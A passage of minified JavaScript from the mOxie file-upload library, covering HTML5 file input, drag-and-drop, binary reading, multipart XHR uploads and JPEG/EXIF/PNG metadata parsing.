d;o.bind("TransportingComplete",function(){a=u.connectRuntime(this.result.ruid),u.bind("Embedded",function(){c.extend(a.getShimContainer().style,{top:"0px",left:"0px",width:i.width+"px",height:i.height+"px"}),a=null},999),a.exec.call(u,"ImageView","display",this.result.uid,width,height),i.destroy()}),o.transport(p.atob(r.substring(r.indexOf("base64,")+7)),e,{required_caps:{display_media:!0},runtime_order:"flash,silverlight",container:s})}}).call(this,t.type,t.quality)}),i.bind("Load",function(){this.downsize(t)}),this.meta.thumb&&this.meta.thumb.width>=t.width&&this.meta.thumb.height>=t.height?i.load(this.meta.thumb.data):i.clone(this,!1),i}catch(e){this.trigger("error",e.code)}},destroy:function(){this.ruid&&(this.getRuntime().exec.call(this,"Image","destroy"),this.disconnectRuntime()),this.meta&&this.meta.thumb&&this.meta.thumb.data.destroy(),this.unbindAll()}}),this.handleEventProps(f),this.bind("Load Resize",function(){return function(e){try{return e||(e=this.exec("Image","getInfo")),this.size=e.size,this.width=e.width,this.height=e.height,this.type=e.type,this.meta=e.meta,""===this.name&&(this.name=e.name),!0}catch(e){return this.trigger("error",e.code),!1}}.call(this)},999)}var f=["progress","load","error","resize","embedded"];return m.MAX_RESIZE_WIDTH=8192,m.MAX_RESIZE_HEIGHT=8192,m.prototype=i.instance,m}),e("moxie/runtime/html5/Runtime",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/Runtime","moxie/core/utils/Env"],function(a,e,u,c){var l={};return u.addConstructor("html5",function(e){var t,i,n=this,r=u.capTest,o=u.capTrue,s=a.extend({access_binary:r(window.FileReader||window.File&&window.File.getAsDataURL),access_image_binary:function(){return n.can("access_binary")&&!!l.Image},display_media:r((c.can("create_canvas")||c.can("use_data_uri_over32kb"))&&d("moxie/image/Image")),do_cors:r(window.XMLHttpRequest&&"withCredentials"in new XMLHttpRequest),drag_and_drop:r((t=document.createElement("div"),("draggable"in t||"ondragstart"in t&&"ondrop"in t)&&("IE"!==c.browser||c.verComp(c.version,9,">")))),filter_by_extension:r(!("Chrome"===c.browser&&c.verComp(c.version,28,"<")||"IE"===c.browser&&c.verComp(c.version,10,"<")||"Safari"===c.browser&&c.verComp(c.version,7,"<")||"Firefox"===c.browser&&c.verComp(c.version,37,"<"))),return_response_headers:o,return_response_type:function(e){return!("json"!==e||!window.JSON)||c.can("return_response_type",e)},return_status_code:o,report_upload_progress:r(window.XMLHttpRequest&&(new XMLHttpRequest).upload),resize_image:function(){return n.can("access_binary")&&c.can("create_canvas")},select_file:function(){return c.can("use_fileinput")&&window.File},select_folder:function(){return n.can("select_file")&&("Chrome"===c.browser&&c.verComp(c.version,21,">=")||"Firefox"===c.browser&&c.verComp(c.version,42,">="))},select_multiple:function(){return!(!n.can("select_file")||"Safari"===c.browser&&"Windows"===c.os||"iOS"===c.os&&c.verComp(c.osVersion,"7.0.0",">")&&c.verComp(c.osVersion,"8.0.0","<"))},send_binary_string:r(window.XMLHttpRequest&&((new XMLHttpRequest).sendAsBinary||window.Uint8Array&&window.ArrayBuffer)),send_custom_headers:r(window.XMLHttpRequest),send_multipart:function(){return!!(window.XMLHttpRequest&&(new XMLHttpRequest).upload&&window.FormData)||n.can("send_binary_string")},slice_blob:r(window.File&&(File.prototype.mozSlice||File.prototype.webkitSlice||File.prototype.slice)),stream_upload:function(){return n.can("slice_blob")&&n.can("send_multipart")},summon_file_dialog:function(){return n.can("select_file")&&!("Firefox"===c.browser&&c.verComp(c.version,4,"<")||"Opera"===c.browser&&c.verComp(c.version,12,"<")||"IE"===c.browser&&c.verComp(c.version,10,"<"))},upload_filesize:o,use_http_method:o},arguments[2]);u.call(this,e,arguments[1]||"html5",s),a.extend(this,{init:function(){this.trigger("Init")},destroy:(i=this.destroy,function(){i.call(n),i=n=null})}),a.extend(this.getShim(),l)}),l}),e("moxie/runtime/html5/file/Blob",["moxie/runtime/html5/Runtime","moxie/file/Blob"],function(e,t){return e.Blob=function(){this.slice=function(){return new t(this.getRuntime().uid,function(e,t,i){var n;if(!window.File.prototype.slice)return(n=window.File.prototype.webkitSlice||window.File.prototype.mozSlice)?n.call(e,t,i):null;try{return e.slice(),e.slice(t,i)}catch(n){return e.slice(t,i-t)}}.apply(this,arguments))},this.destroy=function(){this.getRuntime().getShim().removeInstance(this.uid)}}}),e("moxie/core/utils/Events",["moxie/core/utils/Basic"],function(s){function a(){this.returnValue=!1}function u(){this.cancelBubble=!0}var c={},l="moxie_"+s.guid(),r=function(e,t,i){var n;if(t=t.toLowerCase(),e[l]&&c[e[l]]&&c[e[l]][t]){for(var r=(n=c[e[l]][t]).length-1;0<=r&&(n[r].orig!==i&&n[r].key!==i||(e.removeEventListener?e.removeEventListener(t,n[r].func,!1):e.detachEvent&&e.detachEvent("on"+t,n[r].func),n[r].orig=null,n[r].func=null,n.splice(r,1),void 0===i));r--);if(n.length||delete c[e[l]][t],s.isEmptyObj(c[e[l]])){delete c[e[l]];try{delete e[l]}catch(t){e[l]=void 0}}}};return{addEvent:function(e,t,i,n){var r,o;t=t.toLowerCase(),e.addEventListener?(r=i,e.addEventListener(t,r,!1)):e.attachEvent&&(r=function(){var e=window.event;e.target||(e.target=e.srcElement),e.preventDefault=a,e.stopPropagation=u,i(e)},e.attachEvent("on"+t,r)),e[l]||(e[l]=s.guid()),c.hasOwnProperty(e[l])||(c[e[l]]={}),(o=c[e[l]]).hasOwnProperty(t)||(o[t]=[]),o[t].push({func:r,orig:i,key:n})},removeEvent:r,removeAllEvents:function(i,n){i&&i[l]&&s.each(c[i[l]],function(e,t){r(i,t,n)})}}}),e("moxie/runtime/html5/file/FileInput",["moxie/runtime/html5/Runtime","moxie/file/File","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Events","moxie/core/utils/Mime","moxie/core/utils/Env"],function(e,d,h,p,m,f,g){return e.FileInput=function(){var c,l;h.extend(this,{init:function(e){var t,i,n,r,o,s,a=this,u=a.getRuntime();c=e,n=f.extList2mimes(c.accept,u.can("filter_by_extension")),(i=u.getShimContainer()).innerHTML='<input id="'+u.uid+'" type="file" style="font-size:999px;opacity:0;"'+(c.multiple&&u.can("select_multiple")?"multiple":"")+(c.directory&&u.can("select_folder")?"webkitdirectory directory":"")+(n?' accept="'+n.join(",")+'"':"")+" />",t=p.get(u.uid),h.extend(t.style,{position:"absolute",top:0,left:0,width:"100%",height:"100%"}),r=p.get(c.browse_button),l=p.getStyle(r,"z-index")||"auto",u.can("summon_file_dialog")&&("static"===p.getStyle(r,"position")&&(r.style.position="relative"),m.addEvent(r,"click",function(e){var t=p.get(u.uid);t&&!t.disabled&&t.click(),e.preventDefault()},a.uid),a.bind("Refresh",function(){o=parseInt(l,10)||1,p.get(c.browse_button).style.zIndex=o,this.getRuntime().getShimContainer().style.zIndex=o-1})),s=u.can("summon_file_dialog")?r:i,m.addEvent(s,"mouseover",function(){a.trigger("mouseenter")},a.uid),m.addEvent(s,"mouseout",function(){a.trigger("mouseleave")},a.uid),m.addEvent(s,"mousedown",function(){a.trigger("mousedown")},a.uid),m.addEvent(p.get(c.container),"mouseup",function(){a.trigger("mouseup")},a.uid),(u.can("summon_file_dialog")?t:r).setAttribute("tabindex",-1),t.onchange=function e(){if(a.files=[],h.each(this.files,function(e){var t="";return!(!c.directory||"."!=e.name)||(e.webkitRelativePath&&(t="/"+e.webkitRelativePath.replace(/^\//,"")),(e=new d(u.uid,e)).relativePath=t,void a.files.push(e))}),"IE"!==g.browser&&"IEMobile"!==g.browser)this.value="";else{var t=this.cloneNode(!0);this.parentNode.replaceChild(t,this),t.onchange=e}a.files.length&&a.trigger("change")},a.trigger({type:"ready",async:!0}),i=null},setOption:function(e,t){var i=this.getRuntime(),n=p.get(i.uid);switch(e){case"accept":if(t){var r=t.mimes||f.extList2mimes(t,i.can("filter_by_extension"));n.setAttribute("accept",r.join(","))}else n.removeAttribute("accept");break;case"directory":t&&i.can("select_folder")?(n.setAttribute("directory",""),n.setAttribute("webkitdirectory","")):(n.removeAttribute("directory"),n.removeAttribute("webkitdirectory"));break;case"multiple":t&&i.can("select_multiple")?n.setAttribute("multiple",""):n.removeAttribute("multiple")}},disable:function(e){var t,i=this.getRuntime();(t=p.get(i.uid))&&(t.disabled=!!e)},destroy:function(){var e=this.getRuntime(),t=e.getShim(),i=e.getShimContainer(),n=c&&p.get(c.container),r=c&&p.get(c.browse_button);n&&m.removeAllEvents(n,this.uid),r&&(m.removeAllEvents(r,this.uid),r.style.zIndex=l),i&&(m.removeAllEvents(i,this.uid),i.innerHTML=""),t.removeInstance(this.uid),c=i=n=r=t=null}})}}),e("moxie/runtime/html5/file/FileDrop",["moxie/runtime/html5/Runtime","moxie/file/File","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Events","moxie/core/utils/Mime"],function(e,r,c,t,l,d){return e.FileDrop=function(){function o(e){if(!e.dataTransfer||!e.dataTransfer.types)return!1;var t=c.toArray(e.dataTransfer.types||[]);return-1!==c.inArray("Files",t)||-1!==c.inArray("public.file-url",t)||-1!==c.inArray("application/x-moz-file",t)}function u(e,t){if(function(e){if(!a.length)return!0;var t=d.getFileExtension(e.name);return!t||-1!==c.inArray(t,a)}(e)){var i=new r(n,e);i.relativePath=t||"",s.push(i)}}var i,n,s=[],a=[];c.extend(this,{init:function(e){var t,r=this;i=e,n=r.ruid,a=function(e){for(var t=[],i=0;i<e.length;i++)[].push.apply(t,e[i].extensions.split(/\s*,\s*/));return-1===c.inArray("*",t)?t:[]}(i.accept),t=i.container,l.addEvent(t,"dragover",function(e){o(e)&&(e.preventDefault(),e.dataTransfer.dropEffect="copy")},r.uid),l.addEvent(t,"drop",function(e){var t,i,n;o(e)&&(e.preventDefault(),s=[],e.dataTransfer.items&&e.dataTransfer.items[0].webkitGetAsEntry?(t=e.dataTransfer.items,i=function(){r.files=s,r.trigger("drop")},n=[],c.each(t,function(e){var t=e.webkitGetAsEntry();t&&(t.isFile?u(e.getAsFile(),t.fullPath):n.push(t))}),n.length?function a(e,t){var i=[];c.each(e,function(s){i.push(function(e){var t,i,n,r,o;i=e,(t=s).isFile?t.file(function(e){u(e,t.fullPath),i()},function(){i()}):t.isDirectory?(n=i,r=[],o=t.createReader(),function t(i){o.readEntries(function(e){e.length?([].push.apply(r,e),t(i)):i()},i)}(function(){a(r,n)})):i()})}),c.inSeries(i,function(){t()})}(n,i):i()):(c.each(e.dataTransfer.files,function(e){u(e)}),r.files=s,r.trigger("drop")))},r.uid),l.addEvent(t,"dragenter",function(){r.trigger("dragenter")},r.uid),l.addEvent(t,"dragleave",function(){r.trigger("dragleave")},r.uid)},destroy:function(){l.removeAllEvents(i&&t.get(i.container),this.uid),n=s=a=i=null,this.getRuntime().getShim().removeInstance(this.uid)}})}}),e("moxie/runtime/html5/file/FileReader",["moxie/runtime/html5/Runtime","moxie/core/utils/Encode","moxie/core/utils/Basic"],function(e,o,s){return e.FileReader=function(){var n,r=!1;s.extend(this,{read:function(e,t){var i=this;i.result="",(n=new window.FileReader).addEventListener("progress",function(e){i.trigger(e)}),n.addEventListener("load",function(e){var t;i.result=r?(t=n.result,o.atob(t.substring(t.indexOf("base64,")+7))):n.result,i.trigger(e)}),n.addEventListener("error",function(e){i.trigger(e,n.error)}),n.addEventListener("loadend",function(e){n=null,i.trigger(e)}),"function"===s.typeOf(n[e])?(r=!1,n[e](t.getSource())):"readAsBinaryString"===e&&(r=!0,n.readAsDataURL(t.getSource()))},abort:function(){n&&n.abort()},destroy:function(){n=null,this.getRuntime().getShim().removeInstance(this.uid)}})}}),e("moxie/runtime/html5/xhr/XMLHttpRequest",["moxie/runtime/html5/Runtime","moxie/core/utils/Basic","moxie/core/utils/Mime","moxie/core/utils/Url","moxie/file/File","moxie/file/Blob","moxie/xhr/FormData","moxie/core/Exceptions","moxie/core/utils/Env"],function(e,l,d,h,p,m,f,g,x){return e.XMLHttpRequest=function(){var u,c,a=this;l.extend(this,{send:function(e,i){var n=this,t="Mozilla"===x.browser&&x.verComp(x.version,4,">=")&&x.verComp(x.version,7,"<"),r="Android Browser"===x.browser,o=!1;if(c=e.url.replace(/^.+?\/([\w\-\.]+)$/,"$1").toLowerCase(),(u=!window.XMLHttpRequest||"IE"===x.browser&&x.verComp(x.version,8,"<")?function(){for(var e=["Msxml2.XMLHTTP.6.0","Microsoft.XMLHTTP"],t=0;t<e.length;t++)try{return new ActiveXObject(e[t])}catch(e){}}():new window.XMLHttpRequest).open(e.method,e.url,e.async,e.user,e.password),i instanceof m)i.isDetached()&&(o=!0),i=i.getSource();else if(i instanceof f){if(i.hasBlob())if(i.getBlob().isDetached())i=function(e){var i="----moxieboundary"+(new Date).getTime(),n="
",r="";if(!this.getRuntime().can("send_binary_string"))throw new g.RuntimeError(g.RuntimeError.NOT_SUPPORTED_ERR);return u.setRequestHeader("Content-Type","multipart/form-data; boundary="+i),e.each(function(e,t){r+=e instanceof m?"--"+i+n+'Content-Disposition: form-data; name="'+t+'"; filename="'+unescape(encodeURIComponent(e.name||"blob"))+'"'+n+"Content-Type: "+(e.type||"application/octet-stream")+n+n+e.getSource()+n:"--"+i+n+'Content-Disposition: form-data; name="'+t+'"'+n+n+unescape(encodeURIComponent(e))+n}),r+="--"+i+"--"+n}.call(n,i),o=!0;else if((t||r)&&"blob"===l.typeOf(i.getBlob().getSource())&&window.FileReader)return void function(e,t){var i,n,r=this;i=t.getBlob().getSource(),(n=new window.FileReader).onload=function(){t.append(t.getBlobName(),new m(null,{type:i.type,data:n.result})),a.send.call(r,e,t)},n.readAsBinaryString(i)}.call(n,e,i);if(i instanceof f){var s=new window.FormData;i.each(function(e,t){e instanceof m?s.append(t,e.getSource()):s.append(t,e)}),i=s}}u.upload?(e.withCredentials&&(u.withCredentials=!0),u.addEventListener("load",function(e){n.trigger(e)}),u.addEventListener("error",function(e){n.trigger(e)}),u.addEventListener("progress",function(e){n.trigger(e)}),u.upload.addEventListener("progress",function(e){n.trigger({type:"UploadProgress",loaded:e.loaded,total:e.total})})):u.onreadystatechange=function(){switch(u.readyState){case 1:case 2:break;case 3:var t,i;try{h.hasSameOrigin(e.url)&&(t=u.getResponseHeader("Content-Length")||0),u.responseText&&(i=u.responseText.length)}catch(e){t=i=0}n.trigger({type:"progress",lengthComputable:!!t,total:parseInt(t,10),loaded:i});break;case 4:u.onreadystatechange=function(){};try{if(200<=u.status&&u.status<400){n.trigger("load");break}}catch(e){}n.trigger("error")}},l.isEmptyObj(e.headers)||l.each(e.headers,function(e,t){u.setRequestHeader(t,e)}),""!==e.responseType&&"responseType"in u&&(u.responseType="json"!==e.responseType||x.can("return_response_type","json")?e.responseType:"text"),o?u.sendAsBinary?u.sendAsBinary(i):function(){for(var e=new Uint8Array(i.length),t=0;t<i.length;t++)e[t]=255&i.charCodeAt(t);u.send(e.buffer)}():u.send(i),n.trigger("loadstart")},getStatus:function(){try{if(u)return u.status}catch(e){}return 0},getResponse:function(e){var t,i,n,r=this.getRuntime();try{switch(e){case"blob":var o=new p(r.uid,u.response),s=u.getResponseHeader("Content-Disposition");if(s){var a=s.match(/filename=([\'\"'])([^]+)/);a&&(c=a[2])}return o.name=c,o.type||(o.type=d.getFileMime(c)),o;case"json":return x.can("return_response_type","json")?u.response:200===u.status&&window.JSON?JSON.parse(u.responseText):null;case"document":return i=(t=u).responseXML,n=t.responseText,"IE"===x.browser&&n&&i&&!i.documentElement&&/[^\/]+\/[^\+]+\+xml/.test(t.getResponseHeader("Content-Type"))&&((i=new window.ActiveXObject("Microsoft.XMLDOM")).async=!1,i.validateOnParse=!1,i.loadXML(n)),i&&("IE"===x.browser&&0!==i.parseError||!i.documentElement||"parsererror"===i.documentElement.tagName)?null:i;default:return""!==u.responseText?u.responseText:null}}catch(e){return null}},getAllResponseHeaders:function(){try{return u.getAllResponseHeaders()}catch(e){}return""},abort:function(){u&&u.abort()},destroy:function(){a=c=null,this.getRuntime().getShim().removeInstance(this.uid)}})}}),e("moxie/runtime/html5/utils/BinaryReader",["moxie/core/utils/Basic"],function(t){function e(e){e instanceof ArrayBuffer?function(r){var o=new DataView(r);t.extend(this,{readByteAt:function(e){return o.getUint8(e)},writeByteAt:function(e,t){o.setUint8(e,t)},SEGMENT:function(e,t,i){switch(arguments.length){case 2:return r.slice(e,e+t);case 1:return r.slice(e);case 3:if(null===i&&(i=new ArrayBuffer),i instanceof ArrayBuffer){var n=new Uint8Array(this.length()-t+i.byteLength);0<e&&n.set(new Uint8Array(r.slice(0,e)),0),n.set(new Uint8Array(i),e),n.set(new Uint8Array(r.slice(e+t)),e+i.byteLength),this.clear(),r=n.buffer,o=new DataView(r);break}default:return r}},length:function(){return r?r.byteLength:0},clear:function(){o=r=null}})}.apply(this,arguments):function(n){function r(e,t,i){i=3===arguments.length?i:n.length-t-1,n=n.substr(0,t)+e+n.substr(i+t)}t.extend(this,{readByteAt:function(e){return n.charCodeAt(e)},writeByteAt:function(e,t){r(String.fromCharCode(t),e,1)},SEGMENT:function(e,t,i){switch(arguments.length){case 1:return n.substr(e);case 2:return n.substr(e,t);case 3:r(null!==i?i:"",e,t);break;default:return n}},length:function(){return n?n.length:0},clear:function(){n=null}})}.apply(this,arguments)}return t.extend(e.prototype,{littleEndian:!1,read:function(e,t){var i,n,r;if(e+t>this.length())throw new Error("You are trying to read outside the source boundaries.");for(n=this.littleEndian?0:-8*(t-1),i=r=0;r<t;r++)i|=this.readByteAt(e+r)<<Math.abs(n+8*r);return i},write:function(e,t,i){var n,r;if(e>this.length())throw new Error("You are trying to write outside the source boundaries.");for(n=this.littleEndian?0:-8*(i-1),r=0;r<i;r++)this.writeByteAt(e+r,255&t>>Math.abs(n+8*r))},BYTE:function(e){return this.read(e,1)},SHORT:function(e){return this.read(e,2)},LONG:function(e){return this.read(e,4)},SLONG:function(e){var t=this.read(e,4);return 2147483647<t?t-4294967296:t},CHAR:function(e){return String.fromCharCode(this.read(e,1))},STRING:function(e,t){return this.asArray("CHAR",e,t).join("")},asArray:function(e,t,i){for(var n=[],r=0;r<i;r++)n[r]=this[e](t+r);return n}}),e}),e("moxie/runtime/html5/image/JPEGHeaders",["moxie/runtime/html5/utils/BinaryReader","moxie/core/Exceptions"],function(a,u){return function o(e){var t,r,i,s=[],n=0;if(65496!==(t=new a(e)).SHORT(0))throw t.clear(),new u.ImageError(u.ImageError.WRONG_FORMAT);for(r=2;r<=t.length();)if(65488<=(i=t.SHORT(r))&&i<=65495)r+=2;else{if(65498===i||65497===i)break;n=t.SHORT(r+2)+2,65505<=i&&i<=65519&&s.push({hex:i,name:"APP"+(15&i),start:r,length:n,segment:t.SEGMENT(r,n)}),r+=n}return t.clear(),{headers:s,restore:function(e){var t,i,n;for(n=new a(e),r=65504==n.SHORT(2)?4+n.SHORT(4):2,i=0,t=s.length;i<t;i++)n.SEGMENT(r,0,s[i].segment),r+=s[i].length;return e=n.SEGMENT(),n.clear(),e},strip:function(e){var t,i,n,r;for(i=(n=new o(e)).headers,n.purge(),t=new a(e),r=i.length;r--;)t.SEGMENT(i[r].start,i[r].length,"");return e=t.SEGMENT(),t.clear(),e},get:function(e){for(var t=[],i=0,n=s.length;i<n;i++)s[i].name===e.toUpperCase()&&t.push(s[i].segment);return t},set:function(e,t){var i,n,r,o=[];for("string"==typeof t?o.push(t):o=t,i=n=0,r=s.length;i<r&&(s[i].name===e.toUpperCase()&&(s[i].segment=o[n],s[i].length=o[n].length,n++),!(n>=o.length));i++);},purge:function(){this.headers=s=[]}}}}),e("moxie/runtime/html5/image/ExifParser",["moxie/core/utils/Basic","moxie/runtime/html5/utils/BinaryReader","moxie/core/Exceptions"],function(x,s,v){function a(e){function n(e,t){var i,n,r,o,s,a,u,c,l=this,d=[],h={},p={1:"BYTE",7:"UNDEFINED",2:"ASCII",3:"SHORT",4:"LONG",5:"RATIONAL",9:"SLONG",10:"SRATIONAL"},m={BYTE:1,UNDEFINED:1,ASCII:1,SHORT:2,LONG:4,RATIONAL:8,SLONG:4,SRATIONAL:8};for(i=l.SHORT(e),n=0;n<i;n++)if(d=[],u=e+2+12*n,(r=t[l.SHORT(u)])!==y){if(o=p[l.SHORT(u+=2)],s=l.LONG(u+=2),!(a=m[o]))throw new v.ImageError(v.ImageError.INVALID_META_ERR);if(u+=4,4<a*s&&(u=l.LONG(u)+g.tiffHeader),u+a*s>=this.length())throw new v.ImageError(v.ImageError.INVALID_META_ERR);"ASCII"!==o?(d=l.asArray(o,u,s),c=1==s?d[0]:d,h[r]=f.hasOwnProperty(r)&&"object"!=typeof c?f[r][c]:c):h[r]=x.trim(l.STRING(u,s).replace(/$/,""))}return h}var t,l,f,g,i,r;if(s.call(this,e),l={tiff:{274:"Orientation",270:"ImageDescription",271:"Make",272:"Model",305:"Software",34665:"ExifIFDPointer",34853:"GPSInfoIFDPointer"},exif:{36864:"ExifVersion",40961:"ColorSpace",40962:"PixelXDimension",40963:"PixelYDimension",36867:"DateTimeOriginal",33434:"ExposureTime",33437:"FNumber",34855:"ISOSpeedRatings",37377:"ShutterSpeedValue",37378:"ApertureValue",37383:"MeteringMode",37384:"LightSource",37385:"Flash",37386:"FocalLength",41986:"ExposureMode",41987:"WhiteBalance",41990:"SceneCaptureType",41988:"DigitalZoomRatio",41992:"Contrast",41993:"Saturation",41994:"Sharpness"},gps:{0:"GPSVersionID",1:"GPSLatitudeRef",2:"GPSLatitude",3:"GPSLongitudeRef",4:"GPSLongitude"},thumb:{513:"JPEGInterchangeFormat",514:"JPEGInterchangeFormatLength"}},f={ColorSpace:{1:"sRGB",0:"Uncalibrated"},MeteringMode:{0:"Unknown",1:"Average",2:"CenterWeightedAverage",3:"Spot",4:"MultiSpot",5:"Pattern",6:"Partial",255:"Other"},LightSource:{1:"Daylight",2:"Fliorescent",3:"Tungsten",4:"Flash",9:"Fine weather",10:"Cloudy weather",11:"Shade",12:"Daylight fluorescent (D 5700 - 7100K)",13:"Day white fluorescent (N 4600 -5400K)",14:"Cool white fluorescent (W 3900 - 4500K)",15:"White fluorescent (WW 3200 - 3700K)",17:"Standard light A",18:"Standard light B",19:"Standard light C",20:"D55",21:"D65",22:"D75",23:"D50",24:"ISO studio tungsten",255:"Other"},Flash:{0:"Flash did not fire",1:"Flash fired",5:"Strobe return light not detected",7:"Strobe return light detected",9:"Flash fired, compulsory flash mode",13:"Flash fired, compulsory flash mode, return light not detected",15:"Flash fired, compulsory flash mode, return light detected",16:"Flash did not fire, compulsory flash mode",24:"Flash did not fire, auto mode",25:"Flash fired, auto mode",29:"Flash fired, auto mode, return light not detected",31:"Flash fired, auto mode, return light detected",32:"No flash function",65:"Flash fired, red-eye reduction mode",69:"Flash fired, red-eye reduction mode, return light not detected",71:"Flash fired, red-eye reduction mode, return light detected",73:"Flash fired, compulsory flash mode, red-eye reduction mode",77:"Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected",79:"Flash fired, compulsory flash mode, red-eye reduction mode, return light detected",89:"Flash fired, auto mode, red-eye reduction mode",93:"Flash fired, auto mode, return light not detected, red-eye reduction mode",95:"Flash fired, auto mode, return light detected, red-eye reduction mode"},ExposureMode:{0:"Auto exposure",1:"Manual exposure",2:"Auto bracket"},WhiteBalance:{0:"Auto white balance",1:"Manual white balance"},SceneCaptureType:{0:"Standard",1:"Landscape",2:"Portrait",3:"Night scene"},Contrast:{0:"Normal",1:"Soft",2:"Hard"},Saturation:{0:"Normal",1:"Low saturation",2:"High saturation"},Sharpness:{0:"Normal",1:"Soft",2:"Hard"},GPSLatitudeRef:{N:"North latitude",S:"South latitude"},GPSLongitudeRef:{E:"East longitude",W:"West longitude"}},i=(g={tiffHeader:10}).tiffHeader,t={clear:this.clear},x.extend(this,{read:function(){try{return a.prototype.read.apply(this,arguments)}catch(e){throw new v.ImageError(v.ImageError.INVALID_META_ERR)}},write:function(){try{return a.prototype.write.apply(this,arguments)}catch(e){throw new v.ImageError(v.ImageError.INVALID_META_ERR)}},UNDEFINED:function(){return this.BYTE.apply(this,arguments)},RATIONAL:function(e){return this.LONG(e)/this.LONG(e+4)},SRATIONAL:function(e){return this.SLONG(e)/this.SLONG(e+4)},ASCII:function(e){return this.CHAR(e)},TIFF:function(){return r||null},EXIF:function(){var e=null;if(g.exifIFD){try{e=n.call(this,g.exifIFD,l.exif)}catch(e){return null}if(e.ExifVersion&&"array"===x.typeOf(e.ExifVersion)){for(var t=0,i="";t<e.ExifVersion.length;t++)i+=String.fromCharCode(e.ExifVersion[t]);e.ExifVersion=i}}return e},GPS:function(){var e=null;if(g.gpsIFD){try{e=n.call(this,g.gpsIFD,l.gps)}catch(e){return null}e.GPSVersionID&&"array"===x.typeOf(e.GPSVersionID)&&(e.GPSVersionID=e.GPSVersionID.join("."))}return e},thumb:function(){if(g.IFD1)try{var e=n.call(this,g.IFD1,l.thumb);if("JPEGInterchangeFormat"in e)return this.SEGMENT(g.tiffHeader+e.JPEGInterchangeFormat,e.JPEGInterchangeFormatLength)}catch(e){}return null},setExif:function(e,t){return("PixelXDimension"===e||"PixelYDimension"===e)&&function(e,t,i){var n,r,o,s=0;if("string"==typeof t){var a=l[e.toLowerCase()];for(var u in a)if(a[u]===t){t=u;break}}n=g[e.toLowerCase()+"IFD"],r=this.SHORT(n);for(var c=0;c<r;c++)if(o=n+12*c+2,this.SHORT(o)==t){s=o+8;break}if(!s)return!1;try{this.write(s,i,4)}catch(e){return!1}return!0}.call(this,"exif",e,t)},clear:function(){t.clear(),e=l=f=r=g=t=null}}),65505!==this.SHORT(0)||"EXIF"!==this.STRING(4,5).toUpperCase())throw new v.ImageError(v.ImageError.INVALID_META_ERR);if(this.littleEndian=18761==this.SHORT(i),42!==this.SHORT(i+=2))throw new v.ImageError(v.ImageError.INVALID_META_ERR);g.IFD0=g.tiffHeader+this.LONG(i+=2),"ExifIFDPointer"in(r=n.call(this,g.IFD0,l.tiff))&&(g.exifIFD=g.tiffHeader+r.ExifIFDPointer,delete r.ExifIFDPointer),"GPSInfoIFDPointer"in r&&(g.gpsIFD=g.tiffHeader+r.GPSInfoIFDPointer,delete r.GPSInfoIFDPointer),x.isEmptyObj(r)&&(r=null);var o=this.LONG(g.IFD0+12*this.SHORT(g.IFD0)+2);o&&(g.IFD1=g.tiffHeader+o)}return a.prototype=s.prototype,a}),e("moxie/runtime/html5/image/JPEG",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/html5/image/JPEGHeaders","moxie/runtime/html5/utils/BinaryReader","moxie/runtime/html5/image/ExifParser"],function(c,l,d,h,p){return function(e){function t(e){var t,i,n=0;for(e||(e=r);n<=e.length();){if(65472<=(t=e.SHORT(n+=2))&&t<=65475)return n+=5,{height:e.SHORT(n),width:e.SHORT(n+=2)};i=e.SHORT(n+=2),n+=i-2}return null}var r,i,n,o,s,a,u;if(65496!==(r=new h(e)).SHORT(0))throw new l.ImageError(l.ImageError.WRONG_FORMAT);i=new d(e);try{n=new p(i.get("app1")[0])}catch(e){}o=t.call(this),c.extend(this,{type:"image/jpeg",size:r.length(),width:o&&o.width||0,height:o&&o.height||0,setExif:function(e,t){return!!n&&("object"===c.typeOf(e)?c.each(e,function(e,t){n.setExif(t,e)}):n.setExif(e,t),void i.set("app1",n.SEGMENT()))},writeHeaders:function(){return arguments.length?i.restore(arguments[0]):i.restore(e)},stripHeaders:function(e){return i.strip(e)},purge:function(){(function(){n&&i&&r&&(n.clear(),i.purge(),r.clear(),o=i=n=r=null)}).call(this)}}),n&&(this.meta={tiff:n.TIFF(),exif:n.EXIF(),gps:n.GPS(),thumb:(u=n.thumb(),u&&(s=new h(u),a=t(s),s.clear(),a)?(a.data=u,a):null)})}}),e("moxie/runtime/html5/image/PNG",["moxie/core/Exceptions","moxie/core/utils/Basic","moxie/runtime/html5/utils/BinaryReader"],function(r,o,s){return function(e){function t(){n&&(n.clear(),e=i=n=null)}var n,i;n=new s(e),function(){var e=0,t=0,i=[35152,20039,3338,6666];for(t=0;t<i.length;t++,e+=2)if(i[t]!=n.SHORT(e))throw new r.ImageError(r.ImageError.WRONG_FORMAT)}(),i=function(){var e,t;return"IHDR"==(e=function(e){var t;return{length:t=n.LONG(e),type:n.STRING(e+=4,4),start:e+=4,CRC:n.LONG(e+t)}}.call(this,8)).type?(t=e.start,{width:n.LONG(t),height:n.LONG(t+=4)}):null}.call(this),o.extend(this,{type:"image/png",size:n.length(),width:i.width,height:i.height,purge:function(){t.call(this)}}),t.call(this)}}),e("moxie/runtime/html5/image/ImageInfo",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/html5/image/JPEG","moxie/runtime/html5/image/PNG"],function(n,r,o,s){return function(t){var e,i=[o,s];e=function(){for(var e=0;e<i.length;e++)try{return new i[e](t)}catch(e){}throw new r.ImageError(r.ImageError.WRONG_FORMAT)}(),n.extend(this,{type:"",size:0,width:0,height:0,setExif:function(){},writeHeaders:function(e){return e},stripHeaders:function(e){return e},purge:function(){t=null}}),n.extend(this,e),this.purge=function(){e.purge(),e=null}}}),e("moxie/runtime/html5/image/ResizerCanvas",[],function(){return{scale:function e(t,i,n){var r=t.width>t.height?"width":"height",o=Math.round(t[r]*i),s=!1;"nearest"!==n&&(i<.5||2<i)&&(i=i<.5?.5:2,s=!0);var a,u,c,l,d,h,p,m=(u=i,c=(a=t).width,l=a.height,d=Math.round(c*u),h=Math.round(l*u),(p=document.createElement("canvas")).width=d,p.height=h,p.getContext("2d").drawImage(a,0,0,c,l,0,0,d,h),a=null,p);return 